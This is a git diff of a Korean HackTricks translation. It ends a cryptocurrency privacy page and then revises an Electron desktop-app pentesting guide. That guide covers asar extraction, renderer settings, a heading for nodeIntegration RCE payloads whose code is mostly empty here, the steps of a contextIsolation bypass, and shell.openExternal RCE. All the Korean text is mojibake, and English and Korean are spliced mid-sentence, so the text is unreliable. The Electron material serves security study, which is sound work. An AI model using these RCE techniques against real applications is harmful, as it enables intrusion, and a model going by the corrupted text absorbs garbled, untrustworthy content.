๋กœ์ปฌ์— ์ €์žฅ๋˜์–ด, ์ ๋“ค์ด ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€์‹ฌ ์žˆ๋Š” ๊ฑฐ๋ž˜๋‚˜ ์ฃผ์†Œ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. -- **ํด๋ผ์ด์–ธํŠธ ์ธก ๋ธ”๋ก ํ•„ํ„ฐ๋ง**: ์ด ๋ฐฉ๋ฒ•์€ ๋ธ”๋ก์ฒด์ธ์˜ ๋ชจ๋“  ๋ธ”๋ก์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ง€๊ฐ‘์ด ๋„คํŠธ์›Œํฌ ๊ด€์ฐฐ์ž์—๊ฒŒ ํŠน์ • ๊ด€์‹ฌ์‚ฌ๋ฅผ ๋…ธ์ถœํ•˜์ง€ ์•Š๊ณ  ๊ด€๋ จ ๊ฑฐ๋ž˜๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ฒฝ๋Ÿ‰ ์ง€๊ฐ‘์€ ์ด๋Ÿฌํ•œ ํ•„ํ„ฐ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ , ์‚ฌ์šฉ์ž์˜ ์ฃผ์†Œ์™€ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ์—๋งŒ ์ „์ฒด ๋ธ”๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. - -## **์ต๋ช…์„ฑ์„ ์œ„ํ•œ Tor ํ™œ์šฉ** - -๋น„ํŠธ์ฝ”์ธ์ด P2P ๋„คํŠธ์›Œํฌ์—์„œ ์šด์˜๋˜๊ธฐ ๋•Œ๋ฌธ์—, IP ์ฃผ์†Œ๋ฅผ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด Tor๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋˜๋ฉฐ, ๋„คํŠธ์›Œํฌ์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ๋•Œ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. - -## **์ฃผ์†Œ ์žฌ์‚ฌ์šฉ ๋ฐฉ์ง€** - -ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ชจ๋“  ๊ฑฐ๋ž˜์— ๋Œ€ํ•ด ์ƒˆ๋กœ์šด ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์†Œ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉด ๊ฑฐ๋ž˜๊ฐ€ ๋™์ผํ•œ ์ฃผ์ฒด์™€ ์—ฐ๊ฒฐ๋˜์–ด ํ”„๋ผ์ด๋ฒ„์‹œ๊ฐ€ ์†์ƒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜„๋Œ€ ์ง€๊ฐ‘์€ ๋””์ž์ธ์„ ํ†ตํ•ด ์ฃผ์†Œ ์žฌ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. - -## **๊ฑฐ๋ž˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์œ„ํ•œ ์ „๋žต** - -- **๋‹ค์ˆ˜์˜ ๊ฑฐ๋ž˜**: ์ง€๋ถˆ์„ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋กœ ๋‚˜๋ˆ„๋ฉด ๊ฑฐ๋ž˜ ๊ธˆ์•ก์„ ๋ชจํ˜ธํ•˜๊ฒŒ ํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ์„ ์ €์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๊ฑฐ์Šค๋ฆ„๋ˆ ํšŒํ”ผ**: ๊ฑฐ์Šค๋ฆ„๋ˆ ์ถœ๋ ฅ์„ ํ•„์š”๋กœ ํ•˜์ง€ ์•Š๋Š” ๊ฑฐ๋ž˜๋ฅผ ์„ ํƒํ•˜๋ฉด ๊ฑฐ์Šค๋ฆ„๋ˆ ํƒ์ง€ ๋ฐฉ๋ฒ•์„ ๋ฐฉํ•ดํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. -- **๋‹ค์ˆ˜์˜ ๊ฑฐ์Šค๋ฆ„๋ˆ ์ถœ๋ ฅ**: ๊ฑฐ์Šค๋ฆ„๋ˆ์„ ํ”ผํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, ์—ฌ๋Ÿฌ ๊ฑฐ์Šค๋ฆ„๋ˆ ์ถœ๋ ฅ์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ๋„ ์—ฌ์ „ํžˆ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๊ฐœ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -# **๋ชจ๋„ค๋กœ: ์ต๋ช…์˜ ๋“ฑ๋Œ€** - -๋ชจ๋„ค๋กœ๋Š” ๋””์ง€ํ„ธ ๊ฑฐ๋ž˜์—์„œ ์ ˆ๋Œ€์ ์ธ ์ต๋ช…์„ฑ์˜ ํ•„์š”์„ฑ์„ ๋‹ค๋ฃจ๋ฉฐ, ํ”„๋ผ์ด๋ฒ„์‹œ์˜ ๋†’์€ ๊ธฐ์ค€์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. - -# **์ด๋”๋ฆฌ์›€: ๊ฐ€์Šค์™€ ๊ฑฐ๋ž˜** - -## **๊ฐ€์Šค ์ดํ•ดํ•˜๊ธฐ** - -๊ฐ€์Šค๋Š” ์ด๋”๋ฆฌ์›€์—์„œ ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๊ณ„์‚ฐ ๋…ธ๋ ฅ์„ ์ธก์ •ํ•˜๋ฉฐ, **gwei**๋กœ ๊ฐ€๊ฒฉ์ด ์ฑ…์ •๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 2,310,000 gwei(๋˜๋Š” 0.00231 ETH)์˜ ๊ฑฐ๋ž˜๋Š” ๊ฐ€์Šค ํ•œ๋„์™€ ๊ธฐ๋ณธ ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ํฌํ•จ๋˜๋ฉฐ, ์ฑ„๊ตด์ž๋ฅผ ์œ ์ธํ•˜๊ธฐ ์œ„ํ•œ ํŒ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ์ดˆ๊ณผ ์ง€๋ถˆ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์ตœ๋Œ€ ์ˆ˜์ˆ˜๋ฃŒ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ดˆ๊ณผ๋ถ„์€ ํ™˜๋ถˆ๋ฉ๋‹ˆ๋‹ค. - -## **๊ฑฐ๋ž˜ ์‹คํ–‰ํ•˜๊ธฐ** - -์ด๋”๋ฆฌ์›€์˜ ๊ฑฐ๋ž˜๋Š” ๋ฐœ์‹ ์ž์™€ ์ˆ˜์‹ ์ž๊ฐ€ ํฌํ•จ๋˜๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž ๋˜๋Š” ์Šค๋งˆํŠธ ๊ณ„์•ฝ ์ฃผ์†Œ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜๋Š” ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ํ•„์š”ํ•˜๋ฉฐ ์ฑ„๊ตด๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜์˜ ํ•„์ˆ˜ ์ •๋ณด์—๋Š” ์ˆ˜์‹ ์ž, ๋ฐœ์‹ ์ž์˜ ์„œ๋ช…, ๊ฐ’, ์„ ํƒ์  ๋ฐ์ดํ„ฐ, ๊ฐ€์Šค ํ•œ๋„ ๋ฐ ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ํŠนํžˆ, ๋ฐœ์‹ ์ž์˜ ์ฃผ์†Œ๋Š” ์„œ๋ช…์—์„œ ์œ ์ถ”๋˜๋ฏ€๋กœ ๊ฑฐ๋ž˜ ๋ฐ์ดํ„ฐ์— ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. - -์ด๋Ÿฌํ•œ ๊ด€ํ–‰๊ณผ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ๋ณด์•ˆ์„ ์šฐ์„ ์‹œํ•˜๋ฉฐ ์•”ํ˜ธํ™”ํ์— ์ฐธ์—ฌํ•˜๊ณ ์ž ํ•˜๋Š” ๋ชจ๋“  ์‚ฌ๋žŒ์—๊ฒŒ ๊ธฐ๋ณธ์ ์ž…๋‹ˆ๋‹ค. - -## ์ฐธ๊ณ  ๋ฌธํ—Œ - -- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) -- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 54b510c8c..a20244079 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,14 +4,14 @@ ## ์†Œ๊ฐœ -Electron์€ ๋กœ์ปฌ ๋ฐฑ์—”๋“œ(**NodeJS**)์™€ ํ”„๋ก ํŠธ์—”๋“œ(**Chromium**)๋ฅผ ๊ฒฐํ•ฉํ•˜์ง€๋งŒ, ํ˜„๋Œ€ ๋ธŒ๋ผ์šฐ์ €์˜ ์ผ๋ถ€ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๊ฐ–์ถ”๊ณ  ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +Electron์€ ๋กœ์ปฌ ๋ฐฑ์—”๋“œ(**NodeJS**)์™€ ํ”„๋ŸฐํŠธ์—”๋“œ(**Chromium**)๋ฅผ ๊ฒฐํ•ฉํ•˜์ง€๋งŒ, ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €์˜ ์ผ๋ถ€ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค. -์ผ๋ฐ˜์ ์œผ๋กœ Electron ์•ฑ ์ฝ”๋“œ๋Š” `.asar` ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ฝ”๋“œ๋ฅผ ์–ป์œผ๋ ค๋ฉด ์ด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +๋ณดํ†ต Electron ์•ฑ ์ฝ”๋“œ๋Š” `.asar` ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์—์„œ ๋ฐœ๊ฒฌ๋˜๋ฉฐ, ์ฝ”๋“œ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์ด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Electron ์•ฑ์˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ, `packet.json` ์•ˆ์— ๋ณด์•ˆ ์„ค์ •์ด ์ ์šฉ๋œ `main.js` ํŒŒ์ผ์ด ์ง€์ •๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Electron ์•ฑ์˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ `packet.json` ์•ˆ์„ ๋ณด๋ฉด ๋ณด์•ˆ ๊ตฌ์„ฑ์ด ์„ค์ •๋œ `main.js` ํŒŒ์ผ์ด ์ง€์ •๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```json { "name": "standard-notes", @@ -19,12 +19,12 @@ Electron ์•ฑ์˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ, `packet.json` ์•ˆ์— ๋ณด์•ˆ ์„ค์ •์ด ์  ``` Electron์—๋Š” 2๊ฐ€์ง€ ํ”„๋กœ์„ธ์Šค ์œ ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค: -- Main Process (NodeJS์— ๋Œ€ํ•œ ์™„์ „ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ ๋ณด์œ ) -- Renderer Process (๋ณด์•ˆ์ƒ NodeJS ์ ‘๊ทผ ๊ถŒํ•œ์„ ์ œํ•œํ•ด์•ผ ํ•จ) +- Main Process (NodeJS์— ์™„์ „ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ ๋ณด์œ ) +- Renderer Process (๋ณด์•ˆ์ƒ์˜ ์ด์œ ๋กœ NodeJS ์ ‘๊ทผ์„ ์ œํ•œํ•ด์•ผ ํ•จ) ![](<../../../images/image (182).png>) -**renderer process**๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ € ์ฐฝ์ž…๋‹ˆ๋‹ค: +ํ•˜๋‚˜์˜ **renderer process**๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ € ์ฐฝ์ž…๋‹ˆ๋‹ค: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Settings of the **๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค** can be **๊ตฌ์„ฑ** in the **๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค** inside the main.js file. Some of the configurations will **Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด RCE๋ฅผ ์–ป๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€**ํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ๋ง‰์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค if the **์„ค์ •์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ**. +**renderer process**์˜ ์„ค์ •์€ main.js ํŒŒ์ผ ์•ˆ์˜ **main process**์—์„œ **๊ตฌ์„ฑ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ผ๋ถ€ ๊ตฌ์„ฑ์€ **Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด RCE๋ฅผ ์–ป๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€**ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” **์„ค์ •์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ**์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค. -The Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ **Node apis๋ฅผ ํ†ตํ•ด ๊ธฐ๊ธฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** although it can be configure to prevent it: +Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ Node apis๋ฅผ ํ†ตํ•ด ๋””๋ฐ”์ด์Šค์— **์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**, ๋‹ค๋งŒ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -- **`nodeIntegration`** - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. ํ™œ์„ฑํ™”๋˜๋ฉด ๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค์—์„œ Node ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **`contextIsolation`** - ๊ธฐ๋ณธ๊ฐ’์€ `on`์ž…๋‹ˆ๋‹ค. ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉด ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์™€ ๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ถ„๋ฆฌ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- **`nodeIntegration`** - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. `on`์ด๋ฉด renderer process์—์„œ node ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **`contextIsolation`** - ๊ธฐ๋ณธ๊ฐ’์€ `on`์ž…๋‹ˆ๋‹ค. `off`์ธ ๊ฒฝ์šฐ main๊ณผ renderer ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฒฉ๋ฆฌ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. - **`preload`** - ๊ธฐ๋ณธ๊ฐ’์€ ๋น„์–ด ์žˆ์Šต๋‹ˆ๋‹ค. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ๊ธฐ๋ณธ์ ์œผ๋กœ `off`์ž…๋‹ˆ๋‹ค. NodeJS๊ฐ€ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋™์ž‘์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. NodeJS๊ฐ€ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž‘์—…์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. - Workers์—์„œ์˜ Node Integration - **`nodeIntegrationInSubframes`** - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. -- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application. -- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe +- **`nodeIntegration`**์ด **ํ™œ์„ฑํ™”๋œ** ๊ฒฝ์šฐ, Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ **iframe์— ๋กœ๋“œ๋œ** ์›น ํŽ˜์ด์ง€์—์„œ **Node.js APIs**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **`nodeIntegration`**์ด **๋น„ํ™œ์„ฑํ™”๋œ** ๊ฒฝ์šฐ, preload๋Š” iframe ๋‚ด์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. Example of configuration: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -๋‹ค์Œ์€ [here](https://7as.es/electron/nodeIntegration_rce.txt)์—์„œ ๊ฐ€์ ธ์˜จ ๋ช‡ ๊ฐ€์ง€ **RCE payloads**: +๋‹ค์Œ์€ [here](https://7as.es/electron/nodeIntegration_rce.txt)์—์„œ ๊ฐ€์ ธ์˜จ ์ผ๋ถ€ **RCE payloads**: ```html Example Payloads (Windows): ``` ### ํŠธ๋ž˜ํ”ฝ ์บก์ฒ˜ -start-main ๊ตฌ์„ฑ์„ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์€ proxy ์‚ฌ์šฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”: +start-main ๊ตฌ์„ฑ์„ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ”„๋ก์‹œ ์‚ฌ์šฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Electron ๋กœ์ปฌ ์ฝ”๋“œ ์ธ์ ์…˜ - -If you can execute locally an Electron App it's possible that you could make it execute arbitrary javascript code. Check how in: +## Electron Local Code Injection +๋กœ์ปฌ์—์„œ Electron App์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ž„์˜์˜ javascript ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -112,7 +111,7 @@ If you can execute locally an Electron App it's possible that you could make it ## RCE: XSS + nodeIntegration -๋งŒ์•ฝ **nodeIntegration**์ด **on**์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ๋‹ค๋ฉด, ์›น ํŽ˜์ด์ง€์˜ JavaScript๋Š” `require()`๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ Node.js ๊ธฐ๋Šฅ์„ ์‰ฝ๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Windows์—์„œ calc ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: +If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. ์˜ˆ๋ฅผ ๋“ค์–ด, Windows์—์„œ calc ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: ```html ``` -> [!NOTE] > **If `contextIsolation` is on, this won't work** +> [!NOTE] > **๋งŒ์•ฝ `contextIsolation`์ด ์ผœ์ ธ ์žˆ์œผ๋ฉด, ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** ## RCE: XSS + contextIsolation -The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. +_**contextIsolation**_๋Š” ์›น ํŽ˜์ด์ง€ ์Šคํฌ๋ฆฝํŠธ์™€ JavaScript Electron์˜ ๋‚ด๋ถ€ ์ฝ”๋“œ ์‚ฌ์ด์— **๋ถ„๋ฆฌ๋œ ์ปจํ…์ŠคํŠธ**๋ฅผ ๋„์ž…ํ•˜์—ฌ ๊ฐ ์ฝ”๋“œ์˜ JavaScript ์‹คํ–‰์ด ์„œ๋กœ ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” RCE ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•œ ํ•„์ˆ˜ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. -์ปจํ…์ŠคํŠธ๊ฐ€ ๊ฒฉ๋ฆฌ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋งŒ์•ฝ ์ปจํ…์ŠคํŠธ๊ฐ€ ๋ถ„๋ฆฌ๋˜์ง€ ์•Š์•˜๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š”: -1. **renderer์—์„œ ์ž„์˜์˜ JavaScript ์‹คํ–‰** (XSS ๋˜๋Š” ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๋กœ์˜ ์ด๋™) -2. **preload ๋˜๋Š” Electron ๋‚ด๋ถ€ ์ฝ”๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ** -3. **๋ฎ์–ด์“ด ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ์„ ํŠธ๋ฆฌ๊ฑฐ** +1. renderer์—์„œ **์ž„์˜์˜ JavaScript๋ฅผ ์‹คํ–‰** (XSS ๋˜๋Š” ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๋กœ์˜ ์ด๋™) +2. preload ๋˜๋Š” Electron ๋‚ด๋ถ€ ์ฝ”๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” **๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์จ์„œ ์ž์‹ ์˜ ํ•จ์ˆ˜๋กœ ๋ฐ”๊พธ๊ธฐ** +3. ๋ฎ์–ด์“ด ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ์„ **์œ ๋ฐœ(Trigger)** 4. RCE? -๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” ๊ณณ์€ 2๊ณณ์ด ์žˆ์Šต๋‹ˆ๋‹ค: preload ์ฝ”๋“œ ๋˜๋Š” Electron ๋‚ด๋ถ€ ์ฝ”๋“œ ์•ˆ: +๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” ๊ณณ์€ 2๊ณณ์ด ์žˆ์Šต๋‹ˆ๋‹ค: In preload code or in Electron internal code: + {{#ref}} electron-contextisolation-rce-via-preload-code.md @@ -180,22 +180,22 @@ electron-contextisolation-rce-via-ipc.md ### ํด๋ฆญ ์ด๋ฒคํŠธ ์šฐํšŒ -๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ ์ œํ•œ์ด ์ ์šฉ๋˜์–ด ์žˆ๋‹ค๋ฉด ์ผ๋ฐ˜ ์™ผ์ชฝ ํด๋ฆญ ๋Œ€์‹  **์ค‘๊ฐ„ ํด๋ฆญ์„ ์‚ฌ์šฉ**ํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ ์ œํ•œ์ด ์ ์šฉ๋˜์–ด ์žˆ๋‹ค๋ฉด ์ผ๋ฐ˜์ ์ธ ์™ผ์ชฝ ํด๋ฆญ ๋Œ€์‹  **์ค‘๊ฐ„ ํด๋ฆญ**์œผ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ```javascript window.addEventListener('click', (e) => { ``` -## shell.openExternal์„ ํ†ตํ•œ RCE +## RCE via shell.openExternal -์ด ์˜ˆ์ œ๋“ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ๋ฐ [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)์„ ํ™•์ธํ•˜์„ธ์š” +์ด ์˜ˆ์ œ๋“ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ๋ฐ 